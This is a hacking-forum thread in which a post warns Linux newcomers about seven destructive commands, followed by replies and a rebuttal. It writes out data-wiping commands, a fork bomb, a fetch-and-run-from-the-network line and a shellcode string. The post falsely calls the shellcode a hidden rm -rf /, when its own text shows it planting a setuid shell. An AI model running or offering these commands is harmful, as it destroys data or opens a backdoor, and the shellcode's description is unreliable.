All that is necessary for evil to succeed is that good people do nothing! Support Act for America

The 7 Deadly Linux Commands - Anarchist Cookbook
Anarchist Cookbook  

Go Back   Anarchist Cookbook > Anarchist Cookbook > Hacking

Hacking Hacking related discussions.

Reply
 
Thread Tools Search this Thread Display Modes
Old November 20th, 2008   #1
Ghostfacekiller
Senior Member
Points: 7,763, Level: 37
Points: 7,763, Level: 37 Points: 7,763, Level: 37 Points: 7,763, Level: 37
Activity: 16%
Activity: 16% Activity: 16% Activity: 16%
 
Ghostfacekiller's Avatar
 

Last Online: 8 Hours Ago 11:32 PM
Join Date: Oct 2007
Posts: 1,515
Cash Credits: 38,014
Ghostfacekiller RSS Feed
The 7 Deadly Linux Commands

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\ x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\ x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\ xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\ x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\ x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\ x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.
__________________
Im a goat and I eat my own milk
Ghostfacekiller is offline   Reply With Quote
Old November 20th, 2008   #2
deathlord888
Senior Member
Points: 14,704, Level: 52
Points: 14,704, Level: 52 Points: 14,704, Level: 52 Points: 14,704, Level: 52
Activity: 100%
Activity: 100% Activity: 100% Activity: 100%
 
deathlord888's Avatar
 
3D Net Blazer Champion!
Park Soccer Champion!
Heidi: Throw the bell Champion!
Mind Me Bloody Beer Champion!
Tournaments Won: 1

Last Online: 7 Hours Ago 11:51 PM
Join Date: Jul 2006
Age: 18
Posts: 4,029
Cash Credits: 50,883
deathlord888 RSS Feed
Send a message via MSN to deathlord888
that was a good idea that will help a lot of people
__________________
I HATE MY SN
Quote:
Originally Posted by AssRot View Post
Smiling is for girls and fags
deathlord888 is offline   Reply With Quote
Old November 20th, 2008   #3
another_rebel_24
Junior Member
Points: 26, Level: 1
Points: 26, Level: 1 Points: 26, Level: 1 Points: 26, Level: 1
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
another_rebel_24's Avatar
 

Last Online: November 22nd, 2008 08:08 PM
Join Date: Nov 2008
Location: california
Posts: 8
Cash Credits: 422
another_rebel_24 RSS Feed
thanks. this will help me.
__________________
dont kill people...
3 inch holes in the head kill people...
another_rebel_24 is offline   Reply With Quote
Old November 23rd, 2008   #4
all_my_sins
Junior Member
Points: 10, Level: 1
Points: 10, Level: 1 Points: 10, Level: 1 Points: 10, Level: 1
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 

Last Online: November 24th, 2008 11:09 PM
Join Date: Nov 2008
Posts: 4
Cash Credits: 376
all_my_sins RSS Feed
sweet. that will help out alot.
all_my_sins is offline   Reply With Quote
Old January 12th, 2009   #5
gray_hat
Junior Member
Points: 298, Level: 5
Points: 298, Level: 5 Points: 298, Level: 5 Points: 298, Level: 5
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 

Last Online: May 27th, 2009 07:57 AM
Join Date: Jan 2009
Posts: 16
Cash Credits: 434
gray_hat RSS Feed
Haha, yeah that was a pretty good idea to enlighten people of those.
gray_hat is offline   Reply With Quote
Old January 12th, 2009   #6
freetibet
Senior Member
Points: 7,205, Level: 36
Points: 7,205, Level: 36 Points: 7,205, Level: 36 Points: 7,205, Level: 36
Activity: 6%
Activity: 6% Activity: 6% Activity: 6%
 
freetibet's Avatar
 
The Wikings Champion!
Easter Egged Champion!
Grrr... Game Champion!
POL Champion!

Last Online: 13 Hours Ago 05:51 PM
Join Date: Mar 2008
Location: Utah
Posts: 2,318
Cash Credits: 32,160
freetibet RSS Feed
somebody needs to ban this dude... He's necro posted in like 5 threads.

that and he named himself 'gray hat' but probably has no idea what that means.
__________________
There's no place like 127.0.0.1.
freetibet is offline   Reply With Quote
Old January 12th, 2009   #7
deathlord888
Senior Member
Points: 14,704, Level: 52
Points: 14,704, Level: 52 Points: 14,704, Level: 52 Points: 14,704, Level: 52
Activity: 100%
Activity: 100% Activity: 100% Activity: 100%
 
deathlord888's Avatar
 
3D Net Blazer Champion!
Park Soccer Champion!
Heidi: Throw the bell Champion!
Mind Me Bloody Beer Champion!
Tournaments Won: 1

Last Online: 7 Hours Ago 11:51 PM
Join Date: Jul 2006
Age: 18
Posts: 4,029
Cash Credits: 50,883
deathlord888 RSS Feed
Send a message via MSN to deathlord888
ya i would of banned him but ishy has patients for these fools
__________________
I HATE MY SN
Quote:
Originally Posted by AssRot View Post
Smiling is for girls and fags
deathlord888 is offline   Reply With Quote
Old January 12th, 2009   #8
slowz
Member
Points: 2,747, Level: 21
Points: 2,747, Level: 21 Points: 2,747, Level: 21 Points: 2,747, Level: 21
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 

Last Online: 3 Weeks Ago 08:13 PM
Join Date: Feb 2006
Posts: 132
Cash Credits: 2,308
slowz RSS Feed
Send a message via AIM to slowz Send a message via Yahoo to slowz
I dont see one command there that will harm a unix like system run as s user. For the fact that anyone thats uses a unix like system knows to stay out of root. So this post is useless.

1: would show a shit load of errors and remove your home dir and tmp if lucky
2:same as one
3:haha im not even going to touch this one
4:This was fixed in kernel 2.4
5:wth... where did you find this
6:again any code run as user is useless to harm the system
7:I like this one, even tho it just moves the user dir. its the only one that made any sence.
slowz is offline   Reply With Quote
Old January 13th, 2009   #9
gray_hat
Junior Member
Points: 298, Level: 5
Points: 298, Level: 5 Points: 298, Level: 5 Points: 298, Level: 5
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 

Last Online: May 27th, 2009 07:57 AM
Join Date: Jan 2009
Posts: 16
Cash Credits: 434
gray_hat RSS Feed
Hrm, banned from a site that has people post threads just to either get highly criticized or threatened with being banned. Sounds like I would be losing out on a lot of nothing. And what does gray_hat mean? Are there other colors like pink hat or neon green hat? I'd really love to be enlightened by your 1337 minds!
gray_hat is offline   Reply With Quote
Old January 13th, 2009   #10
freetibet
Senior Member
Points: 7,205, Level: 36
Points: 7,205, Level: 36 Points: 7,205, Level: 36 Points: 7,205, Level: 36
Activity: 6%
Activity: 6% Activity: 6% Activity: 6%
 
freetibet's Avatar
 
The Wikings Champion!
Easter Egged Champion!
Grrr... Game Champion!
POL Champion!

Last Online: 13 Hours Ago 05:51 PM
Join Date: Mar 2008
Location: Utah
Posts: 2,318
Cash Credits: 32,160
freetibet RSS Feed
there are 3 types of hackers

white hat
black hat
and gray hat

apparently you didn't know that when you signed up...
__________________
There's no place like 127.0.0.1.
freetibet is offline   Reply With Quote
Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump


All times are GMT -5. The time now is 07:43 AM.


Powered by Anarchy and vBulletin® Version 3.7.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios